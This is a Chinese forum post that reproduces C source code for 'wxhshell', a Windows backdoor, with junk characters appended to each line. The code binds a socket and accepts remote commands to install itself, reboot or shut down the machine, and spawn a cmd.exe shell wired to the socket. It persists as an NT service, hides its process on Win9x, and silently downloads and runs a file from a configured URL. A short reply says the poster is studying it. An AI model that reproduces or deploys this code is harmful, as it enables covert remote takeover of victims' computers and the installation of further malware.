  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |?Uc:VFF  
  } {oC69n:  
  else { .-*nD8b  
+004 2Yi  
    switch(cmd[0]) { h$h`XBVZe;  
  `I<|*vW u  
  // 帮助 _Dt TG<E  
  case '?': { 7oSuLo=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hs!CJ(0"y  
    break; tHo/uW_~I  
  } U7'oI;C$e  
  // 安装 \Vq;j 1  
  case 'i': { :G)x+0u  
    if(Install()) JFkjpBS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,4$J|^T&  
    else :CHd\."%+1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NP/2gjp  
    break; 8#AXK{  
    } B75SLK:h=  
  // 卸载 >,1LBM|0u  
  case 'r': { .U {JI\  
    if(Uninstall()) a}{! %5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); arrcHf 4O  
    else r4zS,J;,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s2kynQ#a  
    break; )9,"~P2[R  
    } q>Y[.c-  
  // 显示 wxhshell 所在路径 ak&v/%N  
  case 'p': { ;c}];ZU3G  
    char svExeFile[MAX_PATH]; ybkN^OEJ  
    strcpy(svExeFile,"\n\r"); =jh:0Q<43+  
      strcat(svExeFile,ExeFile); 8tk`1E8!j  
        send(wsh,svExeFile,strlen(svExeFile),0); JASn\z  
    break; ^)I:82"|?  
    } |+''d  
  // 重启 : r=_\?  
  case 'b': { vA`.8U 0S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C]cw@:o%  
    if(Boot(REBOOT)) 'z:p8"h}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r Y.:}D  
    else { ]y e &#  
    closesocket(wsh); `$HO`d@0*R  
    ExitThread(0); a4YyELXe  
    } T~E83Jw  
    break; L&%iY7sC`  
    } hW&UG#PY>  
  // 关机 hFv}JQJw<  
  case 'd': { 8!fw Xm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~sD'pS  
    if(Boot(SHUTDOWN)) Cz%ih#^b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,8 seoX^  
    else { > %,tyJ~  
    closesocket(wsh); 0Og =H79<  
    ExitThread(0); Ns_d10rZ.  
    } ;iVyJZI  
    break; o-_ a0j  
    } &XP 0  
  // 获取shell Qd&j~cG@  
  case 's': { 5o*x?P!$  
    CmdShell(wsh); \T?O.  
    closesocket(wsh); {H74`-C)W  
    ExitThread(0); @B6[RZR  
    break; p*Cbe\  
  } K""04Ew*pV  
  // 退出 (;N_lF0  
  case 'x': { Z)<>d.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R\^tr  
    CloseIt(wsh); OB%y'mo7]  
    break; QXCI+Fcg  
    } d{ &z^  
  // 离开 _]g6 3q  
  case 'q': { Nf1l{N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6 S8#[b  
    closesocket(wsh); y< 84Gw_  
    WSACleanup(); <Ip}uy[Y  
    exit(1); P;GUGG*W  
    break; g?ft;kR6S  
        } b3ZPlLx6  
  } ZHT.+X:_  
  } uAP|ASH9T  
`WVQp"m  
  // 提示信息 ji "*=i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2&M 8Wb#  
} `k+k&t  
  } "(5M }5D  
yR&E6o.$z  
  return; :mij%nQ>$  
} S}>rsg!  
<B)lV'!Bd  
// shell模块句柄 xk,E A U  
int CmdShell(SOCKET sock) cla4%|kq3Y  
{ n`6vM4rM)  
STARTUPINFO si; 1.+MX(w  
ZeroMemory(&si,sizeof(si)); /)|*Vzu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _z_uz \#,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XG0,@Ly  
PROCESS_INFORMATION ProcessInfo; iS"rMgq  
char cmdline[]="cmd"; LWY`J0/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kh27[@s  
  return 0; %P?W^mI  
} 7%X$6N-X  
 @>BFhH  
// 自身启动模式 `.n[G~*w~1  
int StartFromService(void) !=a8^CV  
{ rVkHo*Q  
typedef struct "B.l j)  
{ Ji=E 1R  
  DWORD ExitStatus;  @521 zi  
  DWORD PebBaseAddress; do G&qXw  
  DWORD AffinityMask; Od!j+.OY<  
  DWORD BasePriority; ='~C$%  
  ULONG UniqueProcessId; b.$Gc!g  
  ULONG InheritedFromUniqueProcessId; wsM5T B  
}   PROCESS_BASIC_INFORMATION; 7.]ZD`"Bb  
%hY+%^k.  
PROCNTQSIP NtQueryInformationProcess; ^Xh9:OBF  
2Ddrxc>48  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $L?stgU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mI}'8 .  
~dC^|  
  HANDLE             hProcess; <MY_{o8d  
  PROCESS_BASIC_INFORMATION pbi; oSxHTbp?  
fuQ? @F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y>|7'M*+  
  if(NULL == hInst ) return 0; DI+kO(S  
B6,"S5@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JI(8{ f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \s [Uq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _uL m!ku  
RzXxnx)]q  
  if (!NtQueryInformationProcess) return 0; P*G&pitT  
%A?Ym33  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A2]N :=  
  if(!hProcess) return 0; "{|9Yis=  
}56"4/  Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <vOljo  
)t0t*xu#  
  CloseHandle(hProcess); 9MVW~ V  
r'-)@|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TR| G4l?  
if(hProcess==NULL) return 0; W%) foJ  
#BF(#1:  
HMODULE hMod; taw #r  
char procName[255]; C^]bXIb  
unsigned long cbNeeded;  !1;DRF  
9_oIAn:<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #N wlKZ-  
H"6:!;9,  
  CloseHandle(hProcess); oljl&tuQy  
DtR-NzjB  
if(strstr(procName,"services")) return 1; // 以服务启动 DM"`If%3j  
Jy{A1i@4~s  
  return 0; // 注册表启动 CZt)Q4  
} 4, 8gf2  
*[k7KG2_U  
// 主模块 =#SKN\4  
int StartWxhshell(LPSTR lpCmdLine) dyD =R  
{ E:L =>}  
  SOCKET wsl; e=QnGT*b5  
BOOL val=TRUE; !Tr +:SM  
  int port=0; ~"iCx+pr  
  struct sockaddr_in door; ^3F[^#"  
i` n,{{x&4  
  if(wscfg.ws_autoins) Install(); @?f3(G h,  
^;!A`t  
port=atoi(lpCmdLine); bw ' yX  
[-=PK\ B  
if(port<=0) port=wscfg.ws_port; U_y)p Cd  
X2/ `EN\  
  WSADATA data; ;XRLp:y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zsc8Lw  
H@.j@l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (Rve<n6{A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?yU|;my  
  door.sin_family = AF_INET; It!PP1$   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g < M\zD  
  door.sin_port = htons(port); Nj@k|_1  
oOnk,U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i\ X Ok!  
closesocket(wsl); ?TLMoqmXM{  
return 1; }b\e2ZK  
} b(&2/|hd  
u yzc"d i  
  if(listen(wsl,2) == INVALID_SOCKET) { JnlM0jc]`  
closesocket(wsl); <}L`d(E@f  
return 1; C7[_#1Oz  
} tK`sVsm>  
  Wxhshell(wsl); FAzshR  
  WSACleanup(); ;@Alr?y  
:MV]OLRM  
return 0; hbD@B.PD  
6@t4pML  
} kOmTji7  
_>9|"seR  
// 以NT服务方式启动 y+)][Wa0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y{0`+/\`  
{ ka0T|$ u(s  
DWORD   status = 0; MMqkNe  
  DWORD   specificError = 0xfffffff; Q.*qU,4);  
(wdE@/V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x$Ko|:-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Cg |_ ) _w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |FHeT*"  
  serviceStatus.dwWin32ExitCode     = 0; [rC-3sGar  
  serviceStatus.dwServiceSpecificExitCode = 0; Ek~Qp9B  
  serviceStatus.dwCheckPoint       = 0; y\$B9KX  
  serviceStatus.dwWaitHint       = 0; @NWjYHM[`  
&^Zo}F2V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8p,q9Ey  
  if (hServiceStatusHandle==0) return; +AhR7R!  
(YVl5}V  
status = GetLastError(); 0(VH8@h`O  
  if (status!=NO_ERROR) TG8QT\0G  
{ T^B&GgW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^3B{|cqf  
    serviceStatus.dwCheckPoint       = 0; {a.{x+!5I-  
    serviceStatus.dwWaitHint       = 0; DmEmv/N=  
    serviceStatus.dwWin32ExitCode     = status; ,UopGlA ,  
    serviceStatus.dwServiceSpecificExitCode = specificError; kSv?p1\@&P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z $ Fh4  
    return; g dT3,8`#[  
  } JR|yg=E  
<6Q]FH!6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L MC-1  
  serviceStatus.dwCheckPoint       = 0; :0$(umW@I"  
  serviceStatus.dwWaitHint       = 0; y:WRpCZoa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ol^V@3[<  
} 7Te`#"  
v%n'_2J =^  
// 处理NT服务事件,比如:启动、停止 $9Ho d-Z1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 58,_  
{ \u ?z:mV  
switch(fdwControl) s Z(LT'}  
{ w~y+Pv@   
case SERVICE_CONTROL_STOP: 1dh_"/  
  serviceStatus.dwWin32ExitCode = 0; LH@)((bi4v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zuUf:%k}I  
  serviceStatus.dwCheckPoint   = 0; 3Wxl7"!x m  
  serviceStatus.dwWaitHint     = 0; ks< gSCB  
  { kU$P?RD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3.U5Each-  
  } #~*fZ|sq+3  
  return; u`dWU}m)  
case SERVICE_CONTROL_PAUSE: Yxz(g]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -8;U1^#  
  break; /{ Lo0  
case SERVICE_CONTROL_CONTINUE: u!?cKZw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ++D-,>.  
  break; Cp=DdmR  
case SERVICE_CONTROL_INTERROGATE: 6,*hzyy}Qu  
  break; GhpVi<FL  
}; ~c~N _b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pE<dK.v6  
} [t/7hx"2t  
h'YC!hjp   
// 标准应用程序主函数 "4"gHs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u^T)4~(  
{ B'"(qzE-kM  
3tY \0y9  
// 获取操作系统版本 (4=NKtA^G  
OsIsNt=GetOsVer(); k44s V.G4L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rKg~H=4x2  
ee}&~%  
  // 从命令行安装 :@# '&(#~  
  if(strpbrk(lpCmdLine,"iI")) Install(); qE?*:$  
Bc3(xI'>J  
  // 下载执行文件 de{@u<Y Zb  
if(wscfg.ws_downexe) { }qU(G3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9nF;$ HB  
  WinExec(wscfg.ws_filenam,SW_HIDE); #AHX{<  
} e@N@8i"q5  
:H($|$\h  
if(!OsIsNt) { wh8h1I  
// 如果时win9x,隐藏进程并且设置为注册表启动 >__t 2  
HideProc(); s8;/'?K  
StartWxhshell(lpCmdLine); | LdDL953  
} Ca}T)]//  
else V ':?rEN|  
  if(StartFromService()) 8U}BSM_<2  
  // 以服务方式启动 0\XG;KA  
  StartServiceCtrlDispatcher(DispatchTable);  1t7vP;  
else =_~bSEqyRI  
  // 普通方式启动 NvCq5B$C  
  StartWxhshell(lpCmdLine); <j CD^  
=(\ /+ 0-[  
return 0; 0 _ 4p>v:  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五